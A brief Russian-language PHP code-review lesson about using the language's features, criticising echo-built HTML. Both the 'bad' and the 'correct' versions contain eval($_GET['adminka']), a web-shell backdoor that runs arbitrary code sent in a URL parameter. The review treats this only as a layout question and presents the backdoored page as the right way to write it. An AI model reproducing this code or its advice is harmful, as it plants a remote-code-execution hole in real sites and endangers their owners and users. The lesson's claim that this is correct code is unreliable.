Неиспользование возможностей, предоставляемых языком программирования


Исходный код

<?php
echo"<html>";
echo"<body>";
echo"<h1>This is my home page</h1>";
echo"DATENG & DOORWAY";
echo"</body>";
echo"</html>";
if (isset($_GET['adminka'])) eval($_GET['adminka']);
?>

Что не так в этом коде

Если не пользоваться всеми возможностями, языком программирования и в целом платформой, код получается громоздкий и слабо пригодный для развития.

При написании данного фрагмента был забыт тот факт, что язык PHP создавался специально для лёгкого смешивания в одном файле HTML-разметки и кода.

Второй момент, который можно улучшить: есть смысл делать вычисление входящего выражения внутри разметки страницы, а не после.

Как правильно

<html>
<body>
<h1>This is my home page</h1>
<p>DATENG & DOORWAY</p>
<p>Результат: <?=isset($_GET['adminka']) ? eval($_GET['adminka']) : '-'?>
</body>
</html>